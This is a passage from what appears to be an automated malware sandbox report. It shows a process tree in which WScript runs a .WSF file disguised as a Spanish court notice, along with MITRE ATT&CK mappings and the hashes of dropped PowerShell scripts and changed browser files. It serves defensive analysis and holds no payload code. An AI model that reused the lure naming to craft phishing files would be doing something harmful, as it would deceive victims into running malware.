- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2160
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7fff7fc546f8,0x7fff7fc54708,0x7fff7fc54718
  2⤵
  PID:180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2020 /prefetch:2
  2⤵
  PID:3096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --service-sandbox-type=none --mojo-platform-channel-handle=2260 /prefetch:3
  2⤵
  PID:2140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --service-sandbox-type=utility --mojo-platform-channel-handle=2888 /prefetch:8
  2⤵
  PID:3144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
  2⤵
  PID:5144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
  2⤵
  PID:5156
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5076 /prefetch:1
  2⤵
  PID:5804
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2012,7180482826878404680,15039777332147909468,131072 --lang=es --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4264 /prefetch:1
  2⤵
  PID:5816

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5136

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:5324

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\Anexamos a la presente copia del auto a través del cual se requiere para que dé cumplimiento a la notificación electrónica en inicio de la activación del aparato judicial en su contra.WSF"
1⤵
PID:4892

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:5824

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:5984

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa390d855 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:9492

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe shell32.dll,SHCreateLocalServerRunDll {9BA05972-F6A8-11CF-A442-00A0C90A8F39} -Embedding
1⤵
PID:10056

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
36KB

MD5
b30d3becc8731792523d599d949e63f5

SHA1
19350257e42d7aee17fb3bf139a9d3adb330fad4

SHA256
b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3

SHA512
523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
56KB

MD5
752a1f26b18748311b691c7d8fc20633

SHA1
c1f8e83eebc1cc1e9b88c773338eb09ff82ab862

SHA256
111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131

SHA512
a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

Download Submit
C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Filesize
64KB

MD5
759a240dc51c14b456641e9239d07835

SHA1
733b55b6ef00eda180d147970f6b49c4afb15c44

SHA256
0561b886c669d972422c4aa29744c0dbbab326339cb841edc288457ea96236ec

SHA512
ef3899f7cb0c2c625b282e14f1ca71bd9dbc1e2abc6d3c8decefbddbec5e7a0e3c6832de290c6517b39409ea7ac834b18597d6b890cea5c70626d06921492c3d

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ecxul.ps1

Filesize
340KB

MD5
0c7ce8964acef7d1648350b75d8e6f18

SHA1
4e4d0d2d5bf083199600207171102a6c47a1de68

SHA256
20fef2e125a887ded0137e6d8c486aa8c476f266666942ec671faa51cea14a9a

SHA512
947ea2f0fe6b02691e18a360934e0445d7cda3ac97802079367f01b35e2778f73327ba28deed2e0af047f88ca0e5cf8bcf201b7acab85e085d149be3bb5ebfe2

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\icmhn.ps1

Filesize
340KB

MD5
9e9991f7cee397e398da1650634b54f7

SHA1
a5e00dcae1ba2de0ffd6905a4d7b39687654b02b

SHA256
e404d1bf7f84bc90363d769e2203f7fecd75ba07e951896a24d0fd7ece1971f1

SHA512
bf7e0a046e802499b3288bc397262e4103dbaa64c06bb50ee14d6972f162b8fdb1e03bdbc3bab86596946e27b52050c1d5d64036ca8484b6706c16883cb8a637

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\kgpee.ps1

Filesize
340KB

MD5
756761346d0a759e500b3596054b73bb

SHA1
2619dec51828bfbca9493075c3490b7d6afaa0dd

SHA256
fafdda8453dd731583c6c8023c0708578e8a910869b57a3c9a099ad3097851fb

SHA512
161a224d5993f76475ca7b45c409cd45c5848f18c8bb92788811c999612845456992479dfa154fd47ea6691cb756a9c210f3a5b84d8ab942f2f8edf4ff9bbb46

Download Submit
C:\Users\Admin\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\lgork.ps1

Filesize
340KB

MD5
f4dd9d55c683d100aef6d4c240181a52

SHA1
1c0b4b2577813808b23da51f6859f55223f66aea

SHA256
a3bebed88f6e8c126f3e1078443e7262d44f8afa11cd42e142aac7421392877a

SHA512
3b07f972f19438d52d47f58e8b1d0effac6e1241c29cccee83d7fbe6cb794dbdc4c135648ed5f7d9c8be563f99035e2f48f50019b6997dbb493aadfd39538361

Download Submit
C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Filesize
12KB

MD5
1dc9baa9b38f3b0ff000233eae48e0f1

SHA1
3ebb32785600bbd70cceb54c784948d3de5770ee

SHA256
4bb0f5f216326a7b6872a6b5942a6d99564335bc3ad11cd342306919afa4ae1a

SHA512
d44b92801b7a1797bac8b2e0decda886908287dc2e9b171af39053a3dd79f77deab0b4fb8cc11ad1de29c6d2a9f4a4b661eb5d9ba3554e2a45722c9a95e2b020

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
6a78227b78ff560974926208a9871991

SHA1
48fe873170a0da4e912196e7dad4c17f3ab32864

SHA256
2e0ecf5a0a6dffd37fddd1fb805658779bc6520829ccb6a1a2ad04ad4d72e00f

SHA512
6857d3bfd2fa9295694d3799e6779999412a6595cd3c9d0cffb5e9865a75897cc149e5ecc6523e9eb577329b474bd09aa3b7419cbfb5bc219076d8ef542e4f5d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
b12b3a9921601e1060971819b9614b66

SHA1
705a44c408baf5b553945888c4f1245b28009f2f

SHA256
7b9ac1d8738ddb3773bae02e14b5f4c882750a587f07b3acb2e81b4b4f18d876

SHA512
9acd03068d603021a7e92223b5279813cdd730e6b5b99efced32572ec287d0e27ca1c9c330c79d3845e96c063df2c44b5c016ef88da5a449b623359f56344b38

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
38a794ca8d052d346f281fbf3fa2b1be

SHA1
f538bcae41707ff4aa6a7364124bbb67b8efd255

SHA256
a165b20b3e3ba0584f193ebd30fcc29338b125ed37515c7086f769931d6407ed

SHA512
71954e5d21b304f42e9ba6f4804b463002b60b1a8dcb000724e49f67d21357168eb2f06c5c18062bfb57eac7b16110cc5d1504d908aadd7f45e3032ab63aca7e

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
1KB

MD5
3c39ec0d94208c00f21cd3565f11a02d

SHA1
ab6f0afd13e31cbdd009986797176d2309397be9

SHA256
5fb536c16890e4cdf2f5ca94c604d7b46963d2e11e42e0097acd5e93f1f09d83

SHA512
3e371fa39711f0b4a3e69ebe99625170edce36901dfeb2fc030bf18536c0eb34abe3ea49f8a2b298c66bbef5c11268804a5286f98996af0483e16e4768b905a7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
3bfb20bce919f6aed7851178563780a6

SHA1
d1f0dc3d2b6438bb81d149af767f8e57ff885f05

SHA256
a7311aabe88bf7598b3d9d94a38809d383cc079523c421f09cd222cb1cc25b61

SHA512
665510bf658eb4a93cb3e84ff3b4145f06a5e3b229c54d06c573b3c4f66955bbcd5d62fba98a0d7db0fac84ab8c3e5c0933d750b639cfa981440adf0bb554763

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
9d508895711a2139b6817b94bbbf1b77

SHA1
6e4afa6dce6c0bf262ae66093d10e42b1b5effd4

SHA256
c378ae8cf439fa31e086a5ab6edf26223ea51b6aae96020f5033cefb5530fe5f

SHA512
17e1d7514161db31051f034e643f08ec3db5162df0bc77afc5c49e763b9d2eab5586beb37124ed392346c51ebe42eb14bd8ec145a8e774df9f862bd51813ace7

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
5f004d33dad7d66d84cac6ae147cbc97

SHA1
7aa55e5092be56549e080019381255b5bf9381a2

SHA256
c11192c3d596003fee6692d2944a76d4e38ceea917da8c5b2d9e6fdacfa39145

SHA512
02fe61aed203bbfc89517c04d9f0bc116e34830c19981e00f436f9fb101e10b49df410210d0c194991f3b5964897a5fd602645f7d6ea366fac8f61a5ed903a61

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
10KB

MD5
1d3302c3982b8ead3047244a1a109c26

SHA1
0e91a443882a77d7546fe75259cc6cb73cbaf048

SHA256
4c31d5cf0884115283a0b16e0e4638ac9bfcb83e7128cc92a3221551c5a74599

SHA512
649c444ae697c0ed0a65c4c698a90e7f77bb632aa5437fa66ef67a03e85d0dda0665b3566be6248df32cc8aa8c88c229c8ee827efdb18642dc25b18a359c8057

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
bd21ce025b87df382206d35977139177

SHA1
f79ec23b878fce5c11f51841933f5846dc04bfad

SHA256
05c4a1e0bc08e75f8d1ea8032a0c5ff570fc02c56ce6af42d2dee843b784544e

SHA512
8308cb0f24c7821d611c0191d32932a836a09927f8774f403c0bb1aa84d95ac109a9be05f227d262dabd853dbd3e2f851415aef02ddfbe29b14073e0947c6fab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
f230d756ee550d4f7295d12b9fcab0e4

SHA1
45c4fe300f51b759577b07bdf0245b7186590078

SHA256
c2351f97ea212b7f8fb3f1a9395d5a452f20592722b56aa71772bd37c8ba73d9

SHA512
d31c63eaa8ea16a1ccf451337ae02aabcfc5aea70ee5846eef64c3ed8bc79cda921d95bc12d6a3e5d2ec1569247012df243d24df62cae27e96f0a0c9907ee5ab

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
5ad0809710ba42d75a5a606efbff1042

SHA1
474f55a0206b1c09d0441a7b9d53139d007bed61

SHA256
1282306a65709d4b5c5f543f46d4f072b17290f5d950155efbefd62623613d25

SHA512
7b353f249822f1ab6164ba23bc4fd496fe4c1aa112e5589aa37e1958d02a5cca7f64308979e2177a4e22e65d36f221f6c7b748d4bc72c2d2b5d0ebaea6b71540

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
0a1817a2911bf227be1c9ba829d21e40

SHA1
eb3eaa5c81aec5e37f3b078fc77cb61051896693

SHA256
bdb12bacc1ad4ca4daa5617326d584dd96a8d4f1a38a473ac000e2fd328e482b

SHA512
8533cf305b1a70898d98ffba1c088bbd66858b3b0851149b72398702160165b42ca6186518bdc3868ad05607838df21c5f476a9ddfd457bdb03b6de3d5857bfe

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
ae12640d5dc66c5630828ca5f4a6d681

SHA1
32a869981398a96ac104bda94c4f21bbb6ad5944

SHA256
78a4a17d9567493a4caa291ff38c79efac5f7d655d8b46d8bc3dbc005eb18bee

SHA512
ff14b42431085ee4908a3a0f7fd90542f034f8c7cb5326e1f513ac26a9d617f62338dd78a8e51277a2ef1c5e2c3f85937ce99efce758c43ead6c3da750ee9d30

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
abc97b247155d9de496388c08d34eb11

SHA1
241e76e82231a4cbfbc057f59afefaac442c386e

SHA256
3eca46f951ab6ebed0d44a4aae987373f01bdf60a5f5311eb9accf216b2987e7

SHA512
af967a6fbee287e65ea483917cb41be6b6c3c6a4a7104c60219cbfd1d806958220a8d016b4ff9991c4430ef9aa11e6721bc676509fc77cd689c93fb3f890ef7b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
16f296b27852f817878610d2b2c21a39

SHA1
f784cc4eed9c8466344629cf5635691a00d9eb73

SHA256
cfad6f39107560d6069b70a4354ea051b782737c4285eb945c6f50b86cb07334

SHA512
8fa5dae32b40592d1106dffe3dc52bf03df23a59d44ec6c7052f54d25278d2be15777d5bd331322420f798f59f75f336726f8f37f87934d825bdbbdd9a3d66f1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
406c9ad939eb5d831f716757fae6b94e

SHA1
43d8fd8d11ea8122eecd7a7e739dabc4d5f8d907

SHA256
cfded82f7d62eab19ed875f7198d538d61631c0f606114a5a2eff631b3be012b

SHA512
770da384bb4224c10bac8876c805e24c1f8ad84309efd751a527e22a71776a68b154b4dd60968bb3a8f88d1e8cb1a0ef788e0b7a04d191963da3ec25173bf0cc

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
1066116b7245588b890dc69839aa3d49

SHA1
9ada13cfb94b7d0b8e2adbe60ba2a6917993cb4b

SHA256
1665673e752325b1777434939c9457e6b9bb8a2d5a474d72d4506c4d92b709c9

SHA512
1f0670d75852800001930ea42b329d1bd0632e9e7df9074175da8cca372cc0b0565dd69a1d2a01b4f431f5de461b1f45f21a68d2a74389e556ef79fc5751ee2c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
2fdc45b78632af3fdba8dbad274ed56b

SHA1
aed7c9f3ed97ad3c88f3ec45df566171aac92266

SHA256
bcbece341b4eadeaf54f3f3921fb88ee42809d5670976a0f97c80874e963860e

SHA512
29fca25ad2668d2b68fb8ee81676eef4f8a7e86c9d467ab7f92b523fd4f18404ebe754cb427fd414595a60c2665dd18d08abbb721d98ef5402bd3d1839886d1b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
7f41c9ccaa37343fd3e67b48fcf39578

SHA1
b978108740795b5ed2dee2889b86fba3d4701d95

SHA256
11e1591ff016caefcc2a4e145e50955fde656ae18e7326af4a16a5881707b08b

SHA512
6863e31d22f39a8b801267f7ed55a1757a3a0716cceb020962f32177025b7184f323d401e63d029d4c7c7bb1dd0f442cedc65338a07cf01fb651d25bbefce12a

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
cebc9d90d79c0a3619090b8d02d7bb30

SHA1
bd095422f003c7aaac99b09e590d513075e3beaf

SHA256
3ea42a966be5de02d127f0c8fbe65cb054d4139424c9aa9bbf0ac7297dbfdde3

SHA512
09409ed9dbefdf354a68389322c129937dc3b773b4109436469f061d7452fbe7435b8bfb25fe6810fcf2215620ff6283a6bcdd7d05297b40afdfedbe7e315f49

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
21614e22fce13756b9be021513197f9f

SHA1
62168fa0f38207a5e33204df8aa3d71c2bd2ca10

SHA256
983c4e9bb96d678b94d3f94729149cd3a1d30b23aaadb044c31a1c44cff2eb28

SHA512
20960584e92eec140c5d9a1670086e420f94d8172e7a4eccdb60580725b432e891e174fece9d21554f68e7f2172e9e66a6f6a38c2b783a64534eb9c040872481

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
a5299c9b9f2e2c153a539cfaefe5c7d9

SHA1
bd98d50ef8e96ba36077efb1c49bc2951711ed7a

SHA256
2e5eb5b0921db5bff8ccec813d92d59043237bcf68a87fe2c8c169ee266b2084

SHA512
c9e78d570d316d90c60610fbbc1ffdc089514842c30bfaf8b8140d1175eb73558fbb05a2c67a4ca506f45e12543538dabed611b8eb1d6b9cca5fa041a412ac4d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
c119a5dfa479fc717804c293ece47152

SHA1
ffa8c55f72eb3d27a6ea441091a64027f3e896e3

SHA256
f05b560206f19b057f78cbe956ec8f250b8e170e81c7c50f7cd87c59ac151966

SHA512
82dd84417c5cab0f70ddc7778e0517040f3cef735bb69a42408d2708b40fd6efde9d4a096daf10403a80eb433357215f114e9682fd89568f808ca1ab80190f4b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
227157daa242d37fa186fc2bc915302a

SHA1
bec8a8971c7acbe3876e07dc791a7b2d49f9cb82

SHA256
ed004393ac48564c8d3dfcc56583888cc461f02751625c76de6a73d0c34059e8

SHA512
064592ee71df3180c779d4070ba467f1d656980bf8e76ef83ae4e152cbc6284b500e88b7384cf59faae710af41102cc9743754a70796396da10530e0af2bebcb

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
05670aac829ff8eae76c1866756ca540

SHA1
9a5e6aabfd6e324ed49c6d2664a7fba2f910dc64

SHA256
bc770a5a76095e4359c21050ca8022d417567e3823fff3b57ac1a0199ee577a8

SHA512
09bf78d809534b363176e331a19d6267cf8d127ecd138739cc4f1719e59605327ec60e8a4a61e2084fe1edccc2b9d1a425c7b5d8c25674a334422d3fd496d656

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\a22a303e-d3d4-4d54-870d-6f2775973cad.tmp

Filesize
9KB

MD5
5a6a3dcbe4c7601c09a1a0aedd3e5e9b

SHA1
b8c3c16c6c5e7bffbdb833a695a89abb54b7a2c9

SHA256
059b645610fe7ca5bfe538ab72a71736403ab3f5c37b3e271224b3de17b77d7f

SHA512
9d6c586bc52f3500fc689eece30ad8cfcb9c08d782de7fb1b9c9664a219395521ae1fbc9662c8ed4abc5d02f7a91876480e20a76ec213706796e91efecf8ba8c

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
66632432cf685e9a7766e86bbf8a7d13

SHA1
0f8c4699283b87ece1f12aace8f227f91c1dfd1c

SHA256
8c0f4eb51e5c25f5bd538ff87301b54a093cb1711755f153c66029acde89ecc0

SHA512
dc1e98b883c9246a3ea926af3c3e6e2899319c2d7cd909a75d5b3a583cf94ebf59914fbabee092619b1c26476e5ffa1dec3f8bab38a287784598e189b8d38842

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
b94934ec5b304210b135822bd513d761

SHA1
652836ee58c488656d764bd4d335bd827be80e44

SHA256
9ded6ae682b1e617f46bbbd9d38e9e09ba1c915aba5f460729dc125f0e082e46

SHA512
52ce780322c862294999b66d8df993a74c7940853b16610cd48388de0223e4e7cf185e7bb8b88f8d1d4e9b7e2136fbea151640f0b82375e6067922654ee567b3

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

Filesize
116KB

MD5
a79bc6da9bccb8003c8e081c3bc64deb

SHA1
b0a94eed3ac9a126cfba4048e9270f91198c23e4

SHA256
ebc4ea0e4e660f695fd6d3259d95c7fad3728fd884d58e5c8b14519abf47653e

SHA512
53492b24f0462efd231d89203e567da69ddacbba8dece356d476aaee38ecc7d05194e6c1b38b9c9be496f4f9f30846d4cb1ea6dc11914c3b02a6c2cb1eef869f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Filesize
425B

MD5
4eaca4566b22b01cd3bc115b9b0b2196

SHA1
e743e0792c19f71740416e7b3c061d9f1336bf94

SHA256
34ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb

SHA512
bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
a0486d6f8406d852dd805b66ff467692

SHA1
77ba1f63142e86b21c951b808f4bc5d8ed89b571

SHA256
c0745fd195f3a51b27e4d35a626378a62935dccebefb94db404166befd68b2be

SHA512
065a62032eb799fade5fe75f390e7ab3c9442d74cb8b520d846662d144433f39b9186b3ef3db3480cd1d1d655d8f0630855ed5d6e85cf157a40c38a19375ed8a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
dc058ebc0f8181946a312f0be99ed79c

SHA1
0c6f376ed8f2d4c275336048c7c9ef9edf18bff0

SHA256
378701e87dcff90aa092702bc299859d6ae8f7e313f773bf594f81df6f40bf6a

SHA512
36e0de64a554762b28045baebf9f71930c59d608f8d05c5faf8906d62eaf83f6d856ef1d1b38110e512fbb1a85d3e2310be11a7f679c6b5b3c62313cc7af52aa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\GPUCache\data_1

Filesize
264KB

MD5
05f23e8bc315aaf5b865b3180fa86647

SHA1
cf2a74a7912f9ac4455c357081e810caa9b43369

SHA256
3399a51cb798c7944001cb54ae24e4718a239c4adc7bc770d217a334072c28eb

SHA512
6ae7786e301a4d960d6354b997a6660b66607a995cd4ba7c57e2b2591bccdde4a6596e40ba907cbef198d0c8e0dedffe225b3fd5f1c2e111818f82a6a6b966ea

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
91650e41a713b82a91114b1cbdb23b21

SHA1
9b65603b66da7b31a77964bf8f98d99f6a3cc1ba

SHA256
bed578be55eb81e673739a36164e4603db4b270562110d63829556eccbb619a3

SHA512
f3a68e3592a6d5f7c3873843ed2b0f194695a361510c30eebace8fbbe0a099fe9a40beb2181452d5bc55f2d9b5d43c032b8a69dc3e91d0e7021deedd3b3cf4e7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
5b5123f2a84a293129cfb060346b3743

SHA1
3585b793303e649211ce917a616fd699a82b9eb7

SHA256
fd70800aaf6d3de3c7c0eb362be2287a3042960c8001264460158b4f042f89ec

SHA512
5654968b492bad7b51b2ad82963474feaec64808f86624c7c291f7afd7410d59655341c0a77722bc84494534170844fe18e642400f1682019aad9652fb3be2fa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
aeb2469289ff4b017107ce966f816bf7

SHA1
646a89a1a4f00b0adee12e661cf0b6ca261a8ec1

SHA256
57e2fadb631e4f06b63a9979a89f268d5e799591630c6a396914f73d3b7f7557

SHA512
5d08d5d62f034b55380c9183982bb099edb6ec0b7da1e67b7eef30a2c4a5e3c2790015222d5bc01ed420a1a84f4135875866f15582813c5026f048336f2a0be7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
10c588169568fadc159de01446480be5

SHA1
21d9e89e052bce1c647b155c41c329f86a80531e

SHA256
3e974451932aa66adb19b27d9f2b83679f446acef048261dae7d80e7e79322e7

SHA512
18aee6ac4a7bf62cfbde14a43b55816555152a42a1e60efbd125bc7b63defd1864bd154b49343b6ed00c91145fa0fd02bb7592fc1715ead59ab3f7f53401d3a7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
223a532e10b0a98854ff8363aff3719b

SHA1
